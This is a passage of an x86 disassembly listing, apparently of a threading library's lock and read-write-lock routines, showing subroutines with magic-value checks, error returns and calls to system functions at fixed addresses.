loc_431AD2:				; CODE XREF: ___:00431ADDj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_431AD2


loc_431ADF:				; CODE XREF: ___:00431AD0j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431B00:				; CODE XREF: ___:00401DDEj
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_431B20	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_431B20	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431B60	proc near		; CODE XREF: sub_401C26j

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		nop
		call	near ptr 2810878h
		push	eax
		call	near ptr 27E0000h
		nop
		test	eax, eax
		jz	short loc_431BA2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_431B8C:				; CODE XREF: sub_431B60+33j
		test	eax, edx
		jz	short loc_431B91
		inc	ecx


loc_431B91:				; CODE XREF: sub_431B60+2Ej
		shl	eax, 1
		jnz	short loc_431B8C
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_431BA2:				; CODE XREF: sub_431B60+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_431B60	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431BD0	proc near		; CODE XREF: sub_40184Dj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_50E960
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_431C04
		push	esi
		push	ecx
		call	sub_401F73
		add	esp, 8
		mov	esi, eax
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C04:				; CODE XREF: sub_431BD0+17j
		test	eax, eax
		jnz	short loc_431C0D
		mov	esi, 16h


loc_431C0D:				; CODE XREF: sub_431BD0+36j
		push	offset dword_50E960
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_431BD0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C40	proc near		; CODE XREF: sub_401852j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_431C40	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_431C80	proc near		; CODE XREF: sub_401F73j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_431C92
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431C92:				; CODE XREF: sub_431C80+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_431CB2
		cmp	dword ptr [eax], 0
		jz	short loc_431CB2
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CB2:				; CODE XREF: sub_431C80+1Aj
					; sub_431C80+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_431CD6
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431CD6:				; CODE XREF: sub_431C80+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431D34
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_402199
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_431D2B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_401541
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_431D4C
		push	ebx
		call	sub_40222F
		add	esp, 4


loc_431D2B:				; CODE XREF: sub_431C80+8Dj
		push	esi
		call	sub_40222F
		add	esp, 4


loc_431D34:				; CODE XREF: sub_431C80+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431D4C:				; CODE XREF: sub_431C80+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_431C80	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431DB0:				; CODE XREF: ___:004018ACj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_431EEB
		mov	esi, [eax]
		test	esi, esi
		jz	loc_431EEB
		cmp	esi, 0FFFFFFFFh
		jz	loc_431EA7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_431EEB
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_431EF0
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_431E19
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E19:				; CODE XREF: ___:00431E07j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_431E8D
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_431E8D
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_431E50
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431E50:				; CODE XREF: ___:00431E3Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_431EF0
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401A91
		push	edi
		mov	ebx, eax
		call	sub_40222F
		push	esi
		mov	edi, eax
		call	sub_40222F
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_431ED3
; ---------------------------------------------------------------------------


loc_431E8D:				; CODE XREF: ___:00431E1Ej
					; ___:00431E28j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_431ED3
; ---------------------------------------------------------------------------


loc_431EA7:				; CODE XREF: ___:00431DD3j
		push	offset dword_50E960
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_431EC3
		mov	dword ptr [eax], 0
		jmp	short loc_431EC8
; ---------------------------------------------------------------------------


loc_431EC3:				; CODE XREF: ___:00431EB9j
		mov	ebx, 10h


loc_431EC8:				; CODE XREF: ___:00431EC1j
		push	offset dword_50E960
		call	near ptr 7C9010EDh
		nop


loc_431ED3:				; CODE XREF: ___:00431E8Bj
					; ___:00431EA5j
		test	ebx, ebx
		jz	short loc_431EDE
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431EDE:				; CODE XREF: ___:00431ED5j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_431EF0
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_431EEB:				; CODE XREF: ___:00431DC0j
					; ___:00431DCAj ...
		mov	eax, 16h


loc_431EF0:				; CODE XREF: ___:00431DF1j
					; ___:00431E5Aj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431F60:				; CODE XREF: ___:00401E88j
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_431F83
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_431F83:				; CODE XREF: ___:00431F72j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FB0:				; CODE XREF: ___:00401794j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_431FD1
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_431FD1
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_431FD1:				; CODE XREF: ___:00431FB9j
					; ___:00431FBFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_431FF0:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43200D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43200D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43200D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43200D:				; CODE XREF: ___:00431FF6j
					; ___:00431FFCj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432030:				; CODE XREF: ___:0040159Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43205A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43205A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43204E
		test	eax, eax
		jnz	short loc_43205A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43204E:				; CODE XREF: ___:00432045j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43205A:				; CODE XREF: ___:00432036j
					; ___:0043203Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432070:				; CODE XREF: ___:00402077j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43212A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43212A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4320A4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4320A4
		cmp	eax, 10h
		jnz	loc_43212F


loc_4320A4:				; CODE XREF: ___:0043208Cj
					; ___:00432099j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43212A
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	short loc_43212F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43211D
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4320ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4320ED:				; CODE XREF: ___:004320DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43211D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43211D:				; CODE XREF: ___:004320CAj
					; ___:0043210Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43212A:				; CODE XREF: ___:00432079j
					; ___:00432083j ...
		mov	eax, 16h


loc_43212F:				; CODE XREF: ___:0043209Ej
					; ___:004320BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432180:				; CODE XREF: ___:0040169Aj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43224F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43224F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4321B4
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4321B4
		cmp	eax, 10h
		jnz	loc_432254


loc_4321B4:				; CODE XREF: ___:0043219Cj
					; ___:004321A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43224F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	short loc_432254
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_432242
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BC2
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_432212
		cmp	ebx, 274Ch
		jnz	short loc_432203
		inc	dword ptr [esi+14h]


loc_432203:				; CODE XREF: ___:004321FEj
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432212:				; CODE XREF: ___:004321F6j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_432242
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432242:				; CODE XREF: ___:004321E3j
					; ___:00432231j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43224F:				; CODE XREF: ___:00432189j
					; ___:00432193j ...
		mov	eax, 16h


loc_432254:				; CODE XREF: ___:004321AEj
					; ___:004321D3j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4322A0:				; CODE XREF: ___:004015C8j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432396
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432396
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322D7
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_4322D7
		cmp	eax, 10h
		jnz	loc_43239B


loc_4322D7:				; CODE XREF: ___:004322BFj
					; ___:004322CCj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432396
		push	esi
		call	sub_402225
		add	esp, 4
		test	eax, eax
		jnz	loc_43239B
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43231B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: ___:00432307j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_43238A
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_432338
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_432338:				; CODE XREF: ___:00432327j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_43238A
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_43235B:				; CODE XREF: ___:00432370j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432372
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_43235B


loc_432372:				; CODE XREF: ___:00432369j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_43238D
		mov	[esi+0Ch], edi


loc_43238A:				; CODE XREF: ___:00432320j
					; ___:0043233Dj
		inc	dword ptr [esi+10h]


loc_43238D:				; CODE XREF: ___:00432385j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432396:				; CODE XREF: ___:004322ACj
					; ___:004322B6j ...
		mov	eax, 16h


loc_43239B:				; CODE XREF: ___:004322D1j
					; ___:004322F1j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432400:				; CODE XREF: ___:00401951j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_432501
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432501
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432437
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432437
		cmp	eax, 10h
		jnz	loc_432506


loc_432437:				; CODE XREF: ___:0043241Fj
					; ___:0043242Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432501
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BC2
		add	esp, 8
		test	eax, eax
		jnz	loc_432506
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BC2
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432481
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432481:				; CODE XREF: ___:0043246Dj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4324F5
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_43249E
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_43249E:				; CODE XREF: ___:0043248Dj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4324F5
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401852
		push	eax
		call	sub_401659
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4324C1:				; CODE XREF: ___:004324DBj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_4324DD
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4324C1


loc_4324DD:				; CODE XREF: ___:004324D4j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4324F8
		mov	[esi+0Ch], edi


loc_4324F5:				; CODE XREF: ___:00432486j
					; ___:004324A3j
		inc	dword ptr [esi+10h]


loc_4324F8:				; CODE XREF: ___:004324F0j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_432501:				; CODE XREF: ___:0043240Cj
					; ___:00432416j ...
		mov	eax, 16h


loc_432506:				; CODE XREF: ___:00432431j
					; ___:00432456j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432560:				; CODE XREF: ___:004015BEj
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_4325E6
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_4325E6
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_43257C
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43257C:				; CODE XREF: ___:00432574j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_4325E6
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4325C4
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402225
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4325A2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325A2:				; CODE XREF: ___:0043259Cj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_4325B9
		add	esi, 8
		push	esi
		call	sub_401E51
		add	esp, 4
		mov	edi, eax


loc_4325B9:				; CODE XREF: ___:004325A9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_4325DC
; ---------------------------------------------------------------------------


loc_4325C4:				; CODE XREF: ___:0043258Aj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_4325DC:				; CODE XREF: ___:004325C2j
		test	edi, edi
		jz	short loc_4325EB
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4325E6:				; CODE XREF: ___:00432569j
					; ___:0043256Fj ...
		mov	eax, 16h


loc_4325EB:				; CODE XREF: ___:004325DEj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432620:				; CODE XREF: ___:00401532j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_4326DA
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4326DA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432654
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432654
		cmp	eax, 10h
		jnz	loc_4326DF


loc_432654:				; CODE XREF: ___:0043263Cj
					; ___:00432649j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_4326DA
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	short loc_4326DF
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_4326CD
		lea	edi, [esi+4]
		push	edi
		call	sub_402225
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43269D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43269D:				; CODE XREF: ___:0043268Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4326CD
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4326CD:				; CODE XREF: ___:0043267Aj
					; ___:004326BCj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4326DA:				; CODE XREF: ___:00432629j
					; ___:00432633j ...
		mov	eax, 16h


loc_4326DF:				; CODE XREF: ___:0043264Ej
					; ___:0043266Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432730:				; CODE XREF: ___:00401FD2j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_432811
		mov	eax, [esi]
		test	eax, eax
		jz	loc_432811
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432764
		push	esi
		call	sub_40184D
		add	esp, 4
		test	eax, eax
		jz	short loc_432764
		cmp	eax, 10h
		jnz	loc_432816


loc_432764:				; CODE XREF: ___:0043274Cj
					; ___:00432759j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_432811
		push	esi
		call	sub_40177B
		add	esp, 4
		test	eax, eax
		jnz	loc_432816
		lea	ebx, [esi+4]
		push	ebx
		call	sub_40177B
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4327A9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_432816
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4327A9:				; CODE XREF: ___:00432794j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4327F9
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4327C6
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4327C6:				; CODE XREF: ___:004327B5j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_432804
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_4327EB
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4327EB:				; CODE XREF: ___:004327DBj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_4327FE


loc_4327F9:				; CODE XREF: ___:004327AEj
		mov	edi, 10h


loc_4327FE:				; CODE XREF: ___:004327F7j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432804:				; CODE XREF: ___:004327CBj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432811:				; CODE XREF: ___:00432739j
					; ___:00432743j ...
		mov	eax, 16h


loc_432816:				; CODE XREF: ___:0043275Ej
